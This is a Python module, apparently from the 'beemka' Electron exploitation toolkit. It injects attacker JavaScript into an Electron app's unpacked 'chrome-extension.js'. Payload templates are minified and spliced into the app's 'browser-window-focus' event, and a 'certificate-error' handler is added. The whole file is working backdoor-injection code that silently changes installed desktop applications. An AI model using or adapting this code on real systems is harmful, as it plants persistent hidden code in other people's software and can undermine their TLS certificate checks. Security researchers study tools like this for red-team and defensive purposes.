mirror of
https://github.com/ctxis/beemka
synced 2026-06-08 13:38:25 +00:00
Pavel Tsakalidis
47 lines
2.3 KiB
Python
47 lines
2.3 KiB
Python
import pprint, os, jsmin
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class worker:
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def __init__(self, utils):
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self.utils = utils
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def run(self, worker_data):
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module = worker_data['module']
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module_data = worker_data['module_data']
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asar_working_path = worker_data['asar_working_path']
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# First we need to generate the JS variables that we will inject into the base.js script.
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js_variables = "\n".join(self.utils.generate_js_variable(module_data))
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file_to_inject = os.path.join(asar_working_path, 'browser', 'chrome-extension.js')
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if os.path.isfile(file_to_inject) is False:
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return False
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file_contents = self.utils.load_file(file_to_inject)
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# Get the JavaScript payload.
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js_payload = self.utils.load_file(os.path.join(module['path'], 'templates', 'code.js'))
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js_payload = js_payload.replace("%BEEMKA_VARIABLE_PLACEHOLDER%", js_variables)
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js_payload = jsmin.jsmin(js_payload).replace('"', '\\"').replace("\n", "").replace("\r", "")
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# Get the event payload.
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browser_payload = self.utils.load_file(os.path.join(module['path'], 'templates', 'browser-window-focus.js'))
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browser_param = 'bWindow'
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if self.utils.event_exists(file_contents, 'app.on', 'browser-window-focus'):
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# We need to get the name of the 'browser' variable.
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function_definition = self.utils.get_function_definition(file_contents, 'app.on', 'browser-window-focus')
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browser_param = self.utils.get_function_positional_argument(function_definition, 2)
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browser_payload = browser_payload.replace('%BROWSER_WINDOW%', browser_param)
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payload = browser_payload.replace('%PAYLOAD%', js_payload)
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file_contents = self.utils.inject_code(file_contents, 'app.on', 'browser-window-focus', payload, "app.on('browser-window-focus', function (event, bWindow) {\n\n%FUNCTION_CODE%\n\n});")
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certificate_payload = self.utils.load_file(os.path.join(module['path'], 'templates', 'certificate-error.js'))
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file_contents = self.utils.inject_code(file_contents, 'app.on', 'certificate-error', certificate_payload, "app.on('certificate-error', (event, webContents, url, error, certificate, callback) => { %FUNCTION_CODE% });")
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with open(file_to_inject, 'w') as f:
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f.write(file_contents)
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return True |